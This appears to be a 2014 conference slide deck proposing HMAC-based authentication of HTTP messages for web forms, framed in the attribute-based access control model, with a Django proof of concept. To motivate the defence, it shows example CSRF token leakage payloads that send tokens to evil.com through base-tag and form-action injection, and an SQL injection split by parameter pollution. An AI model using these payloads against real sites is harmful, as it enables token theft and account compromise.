HTTP messages authentication method for web applications is offered. The method can protect web application against attack based on authentication and authorization weaknesses. It is showed how HTTP authentication can be expressed in the terms of the attribute based access control model (ABAC). Implementation of the ABAC access control decision mechanism can use an authentication cryptographic protocol.

1. General Method of HTTP Messages Authentication Based on Hash Functions in Web Applications
Denis Kolegov
Tomsk State University
Information Security and Cryptography Department
SEPTEMBER 8 - 13
EKATERINBURG
2014

2. Introduction
•HTTP doesn’t have built in message authentication mechanisms
•HTTP messages authentication for web forms
–Origin authenticity
–Parameter names and values integrity
–Workflow integrity
•OWASP Top 10 2013
–A4 Insecure Direct Object Reference
–A7 Missing Function Level Access Control
–A8 Cross-Site Request Forgery (CSRF)
•Advanced Features
–Attack surface reduction
–Protection against automated attacks
2

3. Example 1 – CSRF Attack
3
•Protection methods
–Synchronizer token pattern
–Double submit cookies
–Encrypted token pattern
–Header-based (Referer, X-Requested-With, custom headers)
–Origin header
•Attacks
–Token leakage
–Token prediction
–Token retrieving (e.g., BREACH attack)
–Cookie injection

4. Example 2 – CSRF Token Leakage
•<BASE> jumping attack
<base href="http://evil.com/"> ← Injection point
<form action="create_folder">
<input type="hidden" name="csrf_token" value="21312">…
</form>
•Malicious request
http://evil.com/create_folder?csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account?csrf_token=21312
4

5. Example 3 – CSRF Token Leakage
•POST request based on location.hash value is used to download content from example.com/#/mypage
example.com/#/evil.com ← Injection point
•Malicious request
POST http://evil.com/get_content
Host: evil.com
rn
csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
5

6. Example 4 – CSRF Token Leakage
•Content from http://example.com includes the following form
<form action="$_SERVER['REFERER_URI']"> ← Injection point
<input type="hidden" name="csrf_token" value="21312">…
</form>
•http://site.com//evil.com/../search corresponds to the following form
<form action="//evil.com/../search">
<input type="hidden" name="csrf_token" value="21312">…
</form>
•Malicious request
http://evil.com/../search?csrf_token=21312
•Stolen CSRF token can be used by an attacker in different context
http://example.com/admin/delete_account.php?csrf_token=21312
6

7. Example 5 – Parameter Pollution
•Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways
/index.aspx?page=select 1,2,3 from table ← SQL-injection is detected
/index.aspx?page=select 1&page=2,3 from table
•Different web technologies manage multiple occurrences of the same parameter in different ways
7

8. Example 6 – BREACH attack against CSRF Token
•Attackers could figure out CSRF token even when the communication was encrypted
•CSRF Tokens must be unique per request if HTTP Response compression is used
•Facebook tokens
–CSRF_Token = SHA2(accound_id, current_date, random_salt)
•Links
–https://blog.whitehatsec.com/raising-the-csrf-bar/
–https://www.facebook.com/notes/protect-the-graph/preventing-a-breach- attack/1455331811373632
8

9. Example 7 - Insecure Direct Object Reference
9

10. Example 8 - Insecure Direct Object Reference
10

11. Causes and Consequences
11
Vulnerability
Attack
Weakness
Threat
Insecurity
Risk
Unsafety

12. Known Approaches
•CSRF-tokens
–Encryption-based
–HMAC-based
•Authenticated HTTP requests
–RFC 6749 «The OAuth 1.0 Protocol»
•«Signed requests» API (Yahoo, Amazon, Facebook, Twitter)
•WAF
–ModSecurity: HMAC Token Protection
–F5 Networks ASM: Dynamic Content Value
•Frameworks
–ASP.NET Event Validation, View State MAC
12

13. Limitations of Known Approaches
•As a rule, web applications are protected from attacks against authenticity origin (e.g., CSRF attack)
•HTTP messages authentication mechanisms are implemented in special protocols, API or WAFs
•Client-side generated data and input fields are out of scope
•Protocols should consider HTTP protocol features and influence of session management and load balancing mechanisms
•Workflow protection is not implemented in known frameworks
13

14. Authenticator Base String
•Authenticator base string (ABS) is a normalized string, calculated from object’s and subject’s attributes according to security policy
•The ABS includes the following elements of the HTTP request
–Parameter names and values
–User’s identifiers (session cookie mandatory should be there)
–Resource’s identifier (URI)
–HTTP request method
–HTTP custom headers
•Encoding and delimiters
–BASE64, HEX
–Special characters (# & ; =)
14

15. Web Form Parameters
•Controlled by name
–An attacker can’t change parameter names that were set by server in HTTP response
•Controlled by value
–An attacker can’t change parameter values that were set by server in HTTP response
•Validated
–Client-side generated data
–User’s input fields
15

16. Base Validation Protocol
•We want to validate user’s input using HMAC and authenticator string
•Protocol parameters
–A – alphabet of permitted input characters (e.g., 0,1,…,9)
–U – union operation
–w – user’s input
–S(w) – set of word w characters
–L(A) – string of ordered elements of set A
–k – secret key
•Protocol actions
–Client ← Server: response, containing web form with input field and hidden field with mac = HMAC(k, L(A)) value
–Client → Server: request with mac and w parameters
–Server: if HMAC(k, L(A U S(w)) = mac then request is permitted
16

17. •ABS is constructed by concatenating the following HTTP request elements according to security policy
auth =
ordered list of parameter names + ";" +
ordered list of pairs (parameter name = value or #) + ";" +
user’s identifier + ";" +
resource’s identifier + ";" +
HTTP method
String Construction
17

18. 1.Create L = {p1, …, pm} ordered list of parameter name-value pairs of object request
2. If parameters are controlled by name then
auth = name(p1)+ "&" + … + "&" + name(pm) + ";"
3. For each p from L
if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“
if p is validated then auth = auth + name(p) + "=#&"
4. Add identification data of user and resource, and the HTTP method
auth = auth + "; " + IDs + ";" + IDr + ";" + op
Construction Method
18

19. Sessionless Protocol
•Parameters
–k – server’s master key
–kr – server’s one-time random key
–IDr – resource's identifier
–IDs – user’s identifier
–LP – security policy expressed in a specific language
–time – timestamp
–E – encryption function, h – hash function
•All servers share the same master key and there are no data in session
•Protocol actions
–Client → Server: initial request from user (IDs) to resource (IDr)
–Client ← Server: response , containing access attributes mac = h(kr, auth, time) and Ek(LP , time, kr)
–Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr)
19

20. Sessionful Protocol
•Parameters
–k – server’s key
–IDr – resource's identifier
–IDs – user’s identifier
–LP – security policy expressed in a specific language
–time – timestamp
–E – encryption function, h – hash function
•Session data
–k, time and LP are stored in user’s session
•Protocol actions
–Client → Server: initial request from user (IDs) to resource (IDr)
–Client ← Server: response, containing access attributes mac = h(k, auth, time)
–Client → Server: final request with IDs’, IDr’, mac’
20

21. ABAC
21

22. •ABAC can be configured to implement DAC, MAC, or RBAC (Jin, Krishnan, Sandhu, 2012)
•Attribute is a property expressed as a name:value pair associated with any entity in the system
•The proposed method of HTTP messages authentication can be expressed in terms of ABAC model
•All this creates the prerequisites for unified access control mechanism in web applications
ABAC properties
22

23. •Elements of model
–Operations – the HTTP methods (GET, POST, PUT, etc)
–Objects – URIs
–Object attributes – permitted parameters for access to object
–Subject – HTTP request to objects
–Subject attributes – HTTP request parameters and headers
•Access rule
–Subject can access object if and only if authenticator calculated from object’s attributes is equal to authenticator calculated from subject’s attributes
Formal Description in ABAC
23

24. The Control of Workflow Integrity
24
•We are currently researching if it possible to develop workflow protection mechanisms in the context of proposed method
•Proposed HTTP messages authentication method makes some attacks against workflow impossible
•Another enhancement of the method is adding a current state and sequence of permitted sates in the policy stored on a client-side in the encrypted form

25. Proof of Concept
•Django Framework
•Web forms strict security
•Project
–https://github.com/tsu-iscd/django-HTTPauth
•Modes
–Sessionless
–Sessionful
25

26. Features
•Strict protection against CSRF attack
•CSRF-tokens protection
–time to live – protection against replay attacks
–randomization – protection against BREACH-like attacks
–context – protection against leakage
•Integrity control of parameter names and values
•Parameter values validation in a given alphabet
•Support configuration without persistent and sharing sessions
26

27. Policy Description
auth_policy = {
“object”: URI regular expression,
“subject”: session identifier name,
“name_protection”: True | False,
“replay_protection”: {
“enable”: True | False,
“interval”: value},
“parameter_protection”: {
parameter_name: {
“action”: “control” | “validate”
“value”: regular expression }, …, }
}
27

28. Policy Example
class ClientForm(forms.Form):
product = forms.CharField(initial='Test')
price = forms.IntegerField()
policy = {'object':'http://127.0.0.1:8000/add/',
'name_protection' : False,
'replay_protection': {
'enable':True,
'interval':'30' },
'parameter_protection': {
‘product': {
'action':'validate',
'value':'[A-Za-z]+'},
'price': {
'action':'control'}}}
28

29. Application Example
29

30. Conclusion
•HTTP messages authentication ABAC model is developed
•General HTTP authentication method allowing to control and to validate client-side generated data is proposed
•Authentication protocol adapted to employment in web applications is designed
–Proposed approach can be employ in configurations without sharing or persistent sessions support
–Protocol data can be stored on server-side and client-side
•PoC have been implemented in Django framework
30

31. Bibliography
•Vladimir Kochetkov. How to Develop a Secure Web Application and Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how- to-develop-a-secure-web-application-and-stay-in-mind-phdays-3
•Jim Monico, Eoin Keary. Form Processing and Workflows. URL: http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms%20and%20Workflows%20v3.pdf
•Sergey Bobrov. Web Application Attacks via Request-URI. URL: http://xakep.ru/issue/xa-171/
•TrustWave’s SpiderLabs. HMAC Token Protection. URL: http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of- the-week-hmac-token-protection.html
31

32. 32
Denis Kolegov
E-mail: dnkolegov@gmail.com
Twitter: @dnkolegov